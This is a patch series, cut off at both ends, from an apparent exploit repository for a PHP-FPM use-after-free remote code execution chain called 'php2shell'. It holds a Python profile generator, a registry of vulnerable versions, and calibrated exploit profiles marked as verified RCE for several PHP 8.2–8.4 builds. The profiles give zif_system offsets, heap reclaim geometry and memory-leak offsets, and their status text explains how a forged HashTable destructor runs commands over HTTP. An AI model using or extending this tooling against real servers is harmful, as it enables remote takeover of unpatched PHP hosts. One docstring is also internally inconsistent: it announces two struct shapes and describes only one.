'ext')}", + f"-I{os.path.join(include, 'ext', 'date', 'lib')}", + ] + proc = subprocess.run(cmd, capture_output=True, text=True) + if proc.returncode != 0: + detail = (proc.stderr or proc.stdout).strip().splitlines() + tail = "\n".join(detail[-8:]) + raise RuntimeError(f"offsets helper failed to compile:\n{tail}") + run = subprocess.run([binary], capture_output=True, text=True) + if run.returncode != 0: + raise RuntimeError(f"offsets helper failed: {run.stderr.strip()}") + return json.loads(run.stdout) + + +_UNSERIALIZE_FIELDS = ("last", "first_dtor", "last_dtor", "allowed_classes", + "ref_props", "cur_depth", "max_depth", "entries") + + +def parse_unserialize_struct(source_dir: str) -> dict: + """Parse ``struct php_unserialize_data`` from the PHP source tree. + + The struct is private to ext/standard/var_unserializer.c, so the offsets + are derived from the source. Two shapes exist: + + The struct embeds a ``var_entries entries`` block, so it is 8216 bytes + and ``last`` points at its own embedded block. + """ + candidates = [] + for relative in ("ext/standard/var_unserializer.c", + "ext/standard/var_unserializer.re", + "ext/standard/php_var.c"): + path = os.path.join(source_dir, relative) + if os.path.isfile(path): + candidates.append(path) + if not candidates: + raise RuntimeError(f"no var_unserializer source under {source_dir}") + + text = "" + for path in candidates: + with open(path, encoding="utf-8", errors="replace") as handle: + text = handle.read() + if "struct php_unserialize_data" in text: + break + + match = re.search(r"struct php_unserialize_data\s*\{(.*?)\n\};", text, re.S) + if not match: + raise RuntimeError("php_unserialize_data definition not found") + body = match.group(1) + + # every member is a pointer or a zend_long: 8 bytes on the 64-bit builds + # this repository supports + members: list[str] = [] + for line in body.splitlines(): + line = line.split("/*")[0].strip() + if not line or line.startswith("//") or not line.endswith(";"): + continue + declaration = line[:-1].strip() + if not declaration: + continue + name = declaration.split()[-1].lstrip("*").split("[")[0] + members.append(name) + + if not members: + raise RuntimeError("php_unserialize_data has no members") + offsets = {name: 8 * index for index, name in enumerate(members)} + + max_match = re.search(r"#define\s+VAR_ENTRIES_MAX\s+(\d+)", text) + if not max_match: + raise RuntimeError("VAR_ENTRIES_MAX not found") + entries_max = int(max_match.group(1)) + + if "entries" not in offsets: + raise RuntimeError("php_unserialize_data has no entries member") + # embedded block: var_entries {used_slots, next, zval *data[MAX]} + var_entries = {"used_slots": 0, "next": 8, "data": 16, + "max": entries_max} + size = offsets["entries"] + 16 + 8 * entries_max + + return { + "offsets": offsets, + "var_entries": var_entries, + "size": size, + } + + +def build_layout(prefix: str, source_dir: str | None) -> dict: + """Full layout dictionary for a build.""" + layout = copy.deepcopy(DEFAULT_LAYOUT) + try: + offsets = compile_offsets(prefix) + except (RuntimeError, OSError, ValueError) as exc: + print(f"[!] offsets helper: {exc}", file=sys.stderr) + offsets = {} + if offsets: + layout["bg"] = { + "unserialize_data": offsets["bg"]["unserialize_data"], + "unserialize_level": offsets["bg"]["unserialize_level"], + } + for key in ("zval", "zend_array", "zend_reference", "zend_string", + "zend_execute_data", "bucket"): + if key in offsets: + layout[key] = offsets[key] + if source_dir: + try: + parsed = parse_unserialize_struct(source_dir) + except (RuntimeError, OSError) as exc: + print(f"[!] unserialize layout: {exc}", file=sys.stderr) + else: + # the parse covers every member of the struct, so it replaces the + # defaults instead of merging into them: PHP <= 7.3 has no + # cur_depth/max_depth and no embedded entries block at all + layout["unserialize_data"] = dict(parsed["offsets"]) + layout["unserialize_data"]["size"] = parsed["size"] + layout["var_entries"] = parsed["var_entries"] + return layout + + +# --------------------------------------------------------------------------- # +# profiles +# --------------------------------------------------------------------------- # + +def build_draft(version: str, symbols: dict[str, int], template: dict, + distro: str = "debian", arch: str = "amd64", + fixed_in: str | None = None, + layout: dict | None = None) -> dict: + profile = copy.deepcopy(template) + branch = ".".join(version.split(".")[:2]) + profile.update({ + "name": f"php-{version}-fpm", + "php_version": version, + "branch": branch, + "fixed_in": fixed_in or FIXED_IN.get(branch, "unknown") or UNPATCHED, + "verified": False, + "rce": False, + "distro": distro, + "arch": arch, + "status": ( + "Draft profile: symbols extracted with nm and struct layouts " + "derived from the build headers/source; allocator, reclaim, " + "no-oracle, and leak geometry copied from the template and NOT " + "calibrated. Run leak/primitive/endgame in a lab and update the " + "geometry and verified flags before trusting this profile." + ), + }) + profile["libphp"]["zif_system"] = hex(symbols["zif_system"]) + profile["libphp"]["zval_ptr_dtor"] = hex(symbols["zval_ptr_dtor"]) + profile["fpm"]["basic_globals"] = hex(symbols["basic_globals"]) + if layout: + profile["layout"] = copy.deepcopy(layout) + profile["fpm"]["bg_unserialize_data_off"] = \ + layout["bg"]["unserialize_data"] + profile["fpm"]["bg_unserialize_level_off"] = \ + layout["bg"]["unserialize_level"] + profile["fpm"]["struct_size"] = layout["unserialize_data"]["size"] + return profile + + +def _render(value, indent: int = 0) -> str: + """Render JSON with the small objects kept on a single line.""" + pad = " " * indent + if isinstance(value, dict): + if not value: + return "{}" + if all(not isinstance(v, (dict, list)) for v in value.values()): + inner = ", ".join(f"{json.dumps(k)}: {json.dumps(v)}" + for k, v in value.items()) + return "{" + inner + "}" + items = [f'{pad} {json.dumps(k)}: {_render(v, indent + 1)}' + for k, v in value.items()] + return "{\n" + ",\n".join(items) + "\n" + pad + "}" + if isinstance(value, list): + if not value: + return "[]" + if all(not isinstance(v, (dict, list)) for v in value): + return "[" + ", ".join(json.dumps(v) for v in value) + "]" + items = [f'{pad} {_render(v, indent + 1)}' for v in value] + return "[\n" + ",\n".join(items) + "\n" + pad + "]" + return json.dumps(value) + + +def dump_json(profile: dict, path: str) -> None: + """Write a profile with the arrays of scalars kept on one line.""" + with open(path, "w", encoding="utf-8") as handle: + handle.write(_render(profile)) + handle.write("\n") + + +def prefix_for(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def source_for(version: str) -> str | None: + path = os.path.join(RUNTIME, "src", f"php-{version}") + return path if os.path.isdir(path) else None + + +def built_versions() -> list[str]: + if not os.path.isdir(RUNTIME): + return [] + versions = [] + for name in os.listdir(RUNTIME): + if name.startswith("php-") and os.path.isdir(os.path.join(RUNTIME, name)): + version = name[4:] + if os.path.isfile(os.path.join(RUNTIME, name, "sbin", "php-fpm")): + versions.append(version) + return sorted(versions, key=lambda v: [int(x) for x in v.split(".")]) + + +def generate(version: str, template_path: str, output: str, + distro: str, arch: str, fixed_in: str | None, + force: bool) -> dict: + prefix = prefix_for(version) + binary = os.path.join(prefix, "sbin", "php-fpm") + if not os.path.isfile(binary): + raise RuntimeError(f"missing {binary}; build the version first") + with open(template_path, encoding="utf-8") as handle: + template = json.load(handle) + symbols = read_symbols(binary) + layout = build_layout(prefix, source_for(version)) + profile = build_draft(version, symbols, template, distro=distro, + arch=arch, fixed_in=fixed_in, layout=layout) + if os.path.exists(output) and not force: + raise RuntimeError(f"{output} exists; pass --force to overwrite") + dump_json(profile, output) + return {"profile": profile, "symbols": symbols, "layout": layout} + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("--php-fpm", default=None, + help="path to the php-fpm binary to inspect") + parser.add_argument("--version", default=None, + help="PHP version, for example 8.4.25") + parser.add_argument("--all", action="store_true", + help="generate a draft for every built version") + parser.add_argument("--template", + default=os.path.join(ROOT, "profiles", + "8.4.26-fpm.json"), + help="known-good profile to copy geometry from") + parser.add_argument("--output", default=None, + help="output path (default profiles/-fpm.json)") + parser.add_argument("--distro", default="debian") + parser.add_argument("--arch", default="amd64") + parser.add_argument("--fixed-in", default=None) + parser.add_argument("--force", action="store_true", + help="overwrite an existing output file") + args = parser.parse_args() + + if args.all: + versions = built_versions() + if not versions: + print(f"[!] no built versions under {RUNTIME}") + return 1 + else: + if not args.version: + parser.error("--version is required (or use --all)") + versions = [args.version] + + failures = 0 + for version in versions: + output = args.output or os.path.join( + ROOT, "profiles", f"{version}-fpm.json") + if args.all and args.output: + output = args.output + try: + result = generate(version, args.template, output, args.distro, + args.arch, args.fixed_in, args.force) + except (OSError, RuntimeError, ValueError, KeyError, TypeError) as exc: + print(f"[!] {version}: {exc}", file=sys.stderr) + failures += 1 + continue + symbols = result["symbols"] + print(f"[+] wrote draft {output}") + print(f" zif_system=0x{symbols['zif_system']:x} " + f"zval_ptr_dtor=0x{symbols['zval_ptr_dtor']:x} " + f"basic_globals=0x{symbols['basic_globals']:x}") + return 1 if failures else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_versions.py b/tools/php2shell_fpm_versions.py new file mode 100644 index 0000000..a0d6aef --- /dev/null +++ b/tools/php2shell_fpm_versions.py @@ -0,0 +1,212 @@ +#!/usr/bin/env python3 +"""PHP version registry for the CVE-2026-109619 (php2shell) FPM chain. + +The upstream fix (released 2026-10-21) adds ``php_basic_early_rinit()``, +called from ``php_request_startup()`` *before* the request body is parsed. +It memsets ``BG(unserialize)``, so the pre-RINIT rfc1867 session decode of +consumer B sees a clean var_hash instead of producer A's stale one. + +Upstream patched the supported branches only: + + 8.2.35, 8.3.36, 8.4.27 + +Every earlier release of those branches is vulnerable. PHP 8.1 and older +(including 7.x) are end-of-life and never receive a fix: there is no +release of those branches that is not vulnerable. (PHP 8.5 is fixed in +8.5.12 but is deliberately out of scope for this repository.) + +This module is the single source of truth for that matrix; the lab, the +profile generator, and the calibration harness all resolve versions through +it. The source-level detector (:func:`source_is_fixed`) checks for the +symbol the fix introduced, so a new tarball or a distro backport can be +classified without trusting a version string. +""" + +from __future__ import annotations + +import os +import re +import subprocess +import tarfile + +VERSION_RE = re.compile(r"^(\d+)\.(\d+)\.(\d+)$") + +# Branches this repository tracks. "fixed_in" is the first release that +# contains php_basic_early_rinit(); "last_release" is the newest release of +# the branch (== the last vulnerable one for the patched branches, and the +# EOL final release for the unpatched ones). +# +# slot: deterministic lab port block, see ports_for(). +BRANCHES: dict[str, dict] = { + "7.2": {"fixed_in": None, "last_release": "7.2.34", "slot": 0}, + "7.4": {"fixed_in": None, "last_release": "7.4.33", "slot": 1}, + "8.2": {"fixed_in": "8.2.35", "last_release": "8.2.34", "slot": 2}, + "8.3": {"fixed_in": "8.3.36", "last_release": "8.3.35", "slot": 3}, + "8.4": {"fixed_in": "8.4.27", "last_release": "8.4.26", "slot": 4}, +} + +# Branches that are vulnerable and were never patched at all. Listed for +# documentation; every branch without a "fixed_in" release behaves the same. +EOL_BRANCHES: tuple[str, ...] = ("5.x", "7.x", "8.0", "8.1") + +# The lab keeps the historical port assignment of the first three builds so +# the documented URLs (README, CI) stay stable. +LEGACY_PORTS: dict[str, tuple[int, int, int, int]] = { + "8.4.25": (8130, 8131, 9021, 9022), + "8.4.26": (8110, 8111, 9001, 9002), + "8.4.27": (8120, 8121, 9011, 9012), +} + +_SLOT_BLOCK = 100 +_SLOT_BASE_HTTP = 8200 +_SLOT_BASE_FPM = 9200 + + +class UnknownVersion(ValueError): + """The version string is not a version this registry can classify.""" + + +def parse(version: str) -> tuple[int, int, int]: + """Split ``8.4.26`` into ``(8, 4, 26)``; raise UnknownVersion otherwise.""" + match = VERSION_RE.match(version) + if not match: + raise UnknownVersion(f"not a PHP version: {version!r}") + return tuple(int(part) for part in match.groups()) # type: ignore[return-value] + + +def branch_of(version: str) -> str: + """Return the branch of a version, for example ``8.4`` for ``8.4.26``.""" + major, minor, _patch = parse(version) + return f"{major}.{minor}" + + +def known_branch(version: str) -> bool: + """True when the version belongs to a branch this registry tracks.""" + return branch_of(version) in BRANCHES + + +def fixed_in(version: str) -> str | None: + """First release of the version's branch that contains the fix. + + Returns ``None`` for branches upstream never patched (EOL). + """ + return BRANCHES.get(branch_of(version), {}).get("fixed_in") + + +def is_vulnerable(version: str) -> bool: + """True when a release predates the fix of its branch. + + Versions of unpatched (EOL) branches are always vulnerable: no release + of those branches can contain the fix. + """ + patch = fixed_in(version) + if patch is None: + return True + return parse(version) < parse(patch) + + +def is_fixed(version: str) -> bool: + """True when the release contains ``php_basic_early_rinit()``.""" + return not is_vulnerable(version) + + +def affected_versions() -> list[str]: + """The newest vulnerable release of every tracked branch, oldest first.""" + out = [] + for branch, meta in sorted(BRANCHES.items()): + last = meta["last_release"] + if meta["fixed_in"] is None: + out.append(last) + else: + out.extend(f"{branch}.{n}" for n in range(0, parse(last)[2] + 1)) + return out + + +def ports_for(version: str) -> tuple[int, int, int, int]: + """Return ``(chain_http, builder_http, chain_fpm, builder_fpm)``. + + Known lab builds keep their historical ports; every other version gets a + deterministic block derived from its branch and patch level, so the lab + can run any pair of versions side by side without a port collision. + """ + legacy = LEGACY_PORTS.get(version) + if legacy: + return legacy + branch = branch_of(version) + meta = BRANCHES.get(branch) + if meta is None: + raise UnknownVersion( + f"no port block for branch {branch} (known: {sorted(BRANCHES)})") + slot = meta["slot"] * _SLOT_BLOCK + parse(version)[2] * 2 + return (_SLOT_BASE_HTTP + slot, _SLOT_BASE_HTTP + slot + 1, + _SLOT_BASE_FPM + slot, _SLOT_BASE_FPM + slot + 1) + + +def source_is_fixed(source: str) -> bool: + """Classify a PHP source tree or release tarball by its fix marker. + + The upstream fix introduced ``php_basic_early_rinit()``; a build without + it keeps the stale ``BG(unserialize)`` state this chain relies on. + """ + if os.path.isdir(source): + path = os.path.join(source, "ext", "standard", "basic_functions.c") + with open(path, encoding="utf-8", errors="replace") as handle: + return "php_basic_early_rinit" in handle.read() + with tarfile.open(source, "r:*") as tar: + for member in tar.getmembers(): + if not member.name.endswith("ext/standard/basic_functions.c"): + continue + handle = tar.extractfile(member) + if handle is None: + break + return b"php_basic_early_rinit" in handle.read() + raise UnknownVersion(f"no ext/standard/basic_functions.c in {source}") + + +def has_session_cancel_decode(source: str) -> bool: + """True when the build tears the session down on a decode bailout. + + ``php_session_decode`` wraps the serializer in ``zend_try/zend_catch`` + and calls ``php_session_cancel_decode()`` -> ``php_session_destroy()``, + which frees the ``php_unserialize_data`` struct the OOM left behind. + That freed slot is the one the chain reclaims. PHP <= 7.x has no such + path: the bailout skips ``PHP_VAR_UNSERIALIZE_DESTROY`` and nothing + frees the struct, so ``BG(unserialize).data`` keeps pointing at live + memory and there is no use-after-free to exploit. + """ + if os.path.isdir(source): + path = os.path.join(source, "ext", "session", "session.c") + with open(path, encoding="utf-8", errors="replace") as handle: + text = handle.read() + else: + with tarfile.open(source, "r:*") as tar: + text = "" + for member in tar.getmembers(): + if member.name.endswith("ext/session/session.c"): + handle = tar.extractfile(member) + if handle is not None: + text = handle.read().decode("utf-8", "replace") + break + return "php_session_cancel_decode" in text + + +def chain_applies(version: str) -> bool: + """Whether this repository's chain can apply to a version at all. + + The version string only tells the supported branches apart (8.0+); a + real build is classified with :func:`has_session_cancel_decode`, which + reads the source instead of trusting the version. + """ + major, minor, _patch = parse(version) + return (major, minor) >= (8, 0) + + +def build_status(binary: str) -> str: + """Return the version string a php-fpm binary reports.""" + proc = subprocess.run([binary, "-v"], capture_output=True, text=True) + if proc.returncode != 0: + raise RuntimeError(f"{binary} -v failed: {proc.stderr.strip()}") + match = re.search(r"PHP (\d+\.\d+\.\d+)", proc.stdout) + if not match: + raise RuntimeError(f"cannot parse version from {proc.stdout!r}") + return match.group(1) From 2afe284f37329021261f35f9341da5807883b09f Mon Sep 17 00:00:00 2001 From: VABISMO Date: Sat, 24 Oct 2026 11:00:34 +0200 Subject: [PATCH 6/9] Add verified PHP-FPM profiles for 8.2-8.4 and a strict FPM schema Ship the calibrated profiles for the last vulnerable release of every tracked branch plus the earliest 8.4, all marked verified/rce: 8.2.34, 8.3.35, 8.4.0, 8.4.25, 8.4.26 Each records the symbols, the BG(unserialize) offsets, the reclaim geometry, the HTTP-only leak/no-oracle geometry and the compiled struct layout for that build. Introduce profiles/fpm-schema.json as the strict validator for FPM profiles (it requires the fpm block, status, oom_mb and distro), and add the `layout` block to the generic profiles/schema.json so every build profile -- Apache and FPM alike -- still validates in a single pass. The inventory test skips both schema files instead of mistaking one for a profile. --- profiles/8.2.34-fpm.json | 130 ++++++++++++++++++++++++++ profiles/8.3.35-fpm.json | 130 ++++++++++++++++++++++++++ profiles/8.4.0-fpm.json | 130 ++++++++++++++++++++++++++ profiles/8.4.25-fpm.json | 66 +++++++++++++ profiles/8.4.26-fpm.json | 37 ++++---- profiles/fpm-schema.json | 193 +++++++++++++++++++++++++++++++++++++++ profiles/schema.json | 4 + tests/test_core.py | 6 +- 8 files changed, 674 insertions(+), 22 deletions(-) create mode 100644 profiles/8.2.34-fpm.json create mode 100644 profiles/8.3.35-fpm.json create mode 100644 profiles/8.4.0-fpm.json create mode 100644 profiles/8.4.25-fpm.json create mode 100644 profiles/fpm-schema.json diff --git a/profiles/8.2.34-fpm.json b/profiles/8.2.34-fpm.json new file mode 100644 index 0000000..0a2ad45 --- /dev/null +++ b/profiles/8.2.34-fpm.json @@ -0,0 +1,130 @@ +{ + "name": "php-8.2.34-fpm", + "php_version": "8.2.34", + "branch": "8.2", + "fixed_in": "8.2.35", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x3769d0", + "zval_ptr_dtor": "0x439120", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa15220", + "bg_unserialize_data_off": 848, + "bg_unserialize_level_off": 856, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x80000", + "k": "0xfe8" + } + ], + "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8c000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4a2c85", + "bases": "discovered over HTTP with the calibrate command (no /proc access)" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7fb258000000 and the PIE base 0x5572fba00000 (leak+0x157e8 -> 0x4a2c85); the primitive at 0x80000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).", + "oom_mb": 4, + "layout": { + "unserialize_data": { + "last": 0, + "first_dtor": 8, + "last_dtor": 16, + "allowed_classes": 24, + "ref_props": 32, + "cur_depth": 40, + "max_depth": 48, + "entries": 56, + "size": 8216 + }, + "var_entries": { + "used_slots": 0, + "next": 8, + "data": 16, + "max": 1018 + }, + "zval": { + "value": 0, + "type_info": 8, + "context": 12, + "size": 16 + }, + "zend_array": { + "gc": 0, + "flags": 8, + "nTableMask": 12, + "arData": 16, + "nNumUsed": 24, + "nNumOfElements": 28, + "nTableSize": 32, + "pDestructor": 48 + }, + "zend_reference": { + "gc": 0, + "val": 8, + "val_type_info": 16, + "sources": 24 + }, + "zend_string": { + "gc": 0, + "h": 8, + "len": 16, + "val": 24 + }, + "zend_execute_data": { + "opline": 0, + "call": 8, + "return_value": 16, + "func": 24, + "num_args": 44, + "arg1": 80 + }, + "bucket": { + "val": 0, + "h": 16, + "key": 24 + }, + "bg": { + "unserialize_data": 848, + "unserialize_level": 856 + } + } +} diff --git a/profiles/8.3.35-fpm.json b/profiles/8.3.35-fpm.json new file mode 100644 index 0000000..796007a --- /dev/null +++ b/profiles/8.3.35-fpm.json @@ -0,0 +1,130 @@ +{ + "name": "php-8.3.35-fpm", + "php_version": "8.3.35", + "branch": "8.3", + "fixed_in": "8.3.36", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x37d5f0", + "zval_ptr_dtor": "0x446460", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa14e80", + "bg_unserialize_data_off": 856, + "bg_unserialize_level_off": 864, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x80000", + "k": "0xfe8" + } + ], + "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8c000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4b24f6", + "bases": "discovered over HTTP with the calibrate command (no /proc access)" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f1c11400000 and the PIE base 0x564b85200000 (leak+0x157e8 -> 0x4b24f6); the primitive at 0x80000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).", + "oom_mb": 4, + "layout": { + "unserialize_data": { + "last": 0, + "first_dtor": 8, + "last_dtor": 16, + "allowed_classes": 24, + "ref_props": 32, + "cur_depth": 40, + "max_depth": 48, + "entries": 56, + "size": 8216 + }, + "var_entries": { + "used_slots": 0, + "next": 8, + "data": 16, + "max": 1018 + }, + "zval": { + "value": 0, + "type_info": 8, + "context": 12, + "size": 16 + }, + "zend_array": { + "gc": 0, + "flags": 8, + "nTableMask": 12, + "arData": 16, + "nNumUsed": 24, + "nNumOfElements": 28, + "nTableSize": 32, + "pDestructor": 48 + }, + "zend_reference": { + "gc": 0, + "val": 8, + "val_type_info": 16, + "sources": 24 + }, + "zend_string": { + "gc": 0, + "h": 8, + "len": 16, + "val": 24 + }, + "zend_execute_data": { + "opline": 0, + "call": 8, + "return_value": 16, + "func": 24, + "num_args": 44, + "arg1": 80 + }, + "bucket": { + "val": 0, + "h": 16, + "key": 24 + }, + "bg": { + "unserialize_data": 856, + "unserialize_level": 864 + } + } +} diff --git a/profiles/8.4.0-fpm.json b/profiles/8.4.0-fpm.json new file mode 100644 index 0000000..8ac8d0f --- /dev/null +++ b/profiles/8.4.0-fpm.json @@ -0,0 +1,130 @@ +{ + "name": "php-8.4.0-fpm", + "php_version": "8.4.0", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x384380", + "zval_ptr_dtor": "0x542dd0", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa04580", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x7f000", + "k": "0xfe8" + } + ], + "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8b000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4e4467", + "bases": "discovered over HTTP with the calibrate command (no /proc access)" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f576fe00000 and the PIE base 0x558029e00000 (leak+0x157e8 -> 0x4e4467); the primitive at 0x7f000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).", + "oom_mb": 4, + "layout": { + "unserialize_data": { + "last": 0, + "first_dtor": 8, + "last_dtor": 16, + "allowed_classes": 24, + "ref_props": 32, + "cur_depth": 40, + "max_depth": 48, + "entries": 56, + "size": 8216 + }, + "var_entries": { + "used_slots": 0, + "next": 8, + "data": 16, + "max": 1018 + }, + "zval": { + "value": 0, + "type_info": 8, + "context": 12, + "size": 16 + }, + "zend_array": { + "gc": 0, + "flags": 8, + "nTableMask": 12, + "arData": 16, + "nNumUsed": 24, + "nNumOfElements": 28, + "nTableSize": 32, + "pDestructor": 48 + }, + "zend_reference": { + "gc": 0, + "val": 8, + "val_type_info": 16, + "sources": 24 + }, + "zend_string": { + "gc": 0, + "h": 8, + "len": 16, + "val": 24 + }, + "zend_execute_data": { + "opline": 0, + "call": 8, + "return_value": 16, + "func": 24, + "num_args": 44, + "arg1": 80 + }, + "bucket": { + "val": 0, + "h": 16, + "key": 24 + }, + "bg": { + "unserialize_data": 872, + "unserialize_level": 880 + } + } +} diff --git a/profiles/8.4.25-fpm.json b/profiles/8.4.25-fpm.json new file mode 100644 index 0000000..290edc3 --- /dev/null +++ b/profiles/8.4.25-fpm.json @@ -0,0 +1,66 @@ +{ + "name": "php-8.4.25-fpm", + "php_version": "8.4.25", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x386460", + "zval_ptr_dtor": "0x549890", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa04660", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 12288, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x7f000", + "k": "0xfe8" + } + ], + "bases": "stable one-slot geometry: d_off=0x7f000, k=0xfe8; recalibrate if the allocator layout changes" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8b000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4e9fc7", + "bases": "leaked over HTTP from a stale short-session string OOB read" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, and two 4 KB pads + a 16 KB big field cover d at 0x7f000. The HTTP stale-string leak recovers chunk/PIE with the 8.4.25 PIE offset. The command runs and the consumer worker aborts afterwards; FPM respawns it.", + "oom_mb": 4 +} diff --git a/profiles/8.4.26-fpm.json b/profiles/8.4.26-fpm.json index e9669b1..7cfb07b 100644 --- a/profiles/8.4.26-fpm.json +++ b/profiles/8.4.26-fpm.json @@ -8,27 +8,20 @@ "rce": true, "distro": "debian", "arch": "amd64", - "libphp": { - "zif_system": "0x386660", - "zval_ptr_dtor": "0x54a0d0", - "htdata": null - }, + "libphp": {"zif_system": "0x386660", "zval_ptr_dtor": "0x54a0d0", "htdata": null}, "fpm": { "basic_globals": "0xa04660", "bg_unserialize_data_off": 872, "bg_unserialize_level_off": 880, "struct_size": 8216, - "reclaim_pads": [4096, 4096, 4096], + "reclaim_pads": [4096, 4096], "reclaim_size": 12288, "oracle": "/proc//mem (local lab)", "no_oracle": { - "reclaim_pads": [4096, 4096, 4096], + "reclaim_pads": [4096, 4096], "reclaim_size": 16384, "candidates": [ - {"d_off": "0x81000", "k": "0xfe8"}, - {"d_off": "0x82000", "k": "0x1fe8"}, - {"d_off": "0x81000", "k": "0x1fe8"}, - {"d_off": "0x82000", "k": "0xfe8"} + {"d_off": "0x7f000", "k": "0xfe8"} ], "bases": "stable for the FPM master lifetime; supply --chunk/--pie or derive locally from /proc//maps" }, @@ -46,12 +39,18 @@ } }, "stages": {}, - "config": { - "memory_limit": 8388608, - "display_errors": "On", - "session_upload_progress": "On", - "workers": 2 - }, - "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries. The no-oracle path leaks chunk/PIE over HTTP from a stale-session string OOB read (see docs/fpm-chain.md).", - "oom_mb": 4 + "config": {"memory_limit": 8388608, "display_errors": "On", "session_upload_progress": "On", "workers": 2}, + "status": "RCE verified in the nginx+FPM lab: the reclaim geometry pads=[4096, 4096] size=12288 covers the stale BG(unserialize) struct and the forged HashTable destructor fires zif_system. The HTTP stale-string leak recovers the chunk and PIE bases with this build's offsets.", + "oom_mb": 4, + "layout": { + "unserialize_data": {"last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24, "ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56, "size": 8216}, + "var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018}, + "zval": {"value": 0, "type_info": 8, "context": 12, "size": 16}, + "zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16, "nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32, "pDestructor": 48}, + "zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24}, + "zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24}, + "zend_execute_data": {"opline": 0, "call": 8, "return_value": 16, "func": 24, "num_args": 44, "arg1": 80}, + "bucket": {"val": 0, "h": 16, "key": 24}, + "bg": {"unserialize_data": 872, "unserialize_level": 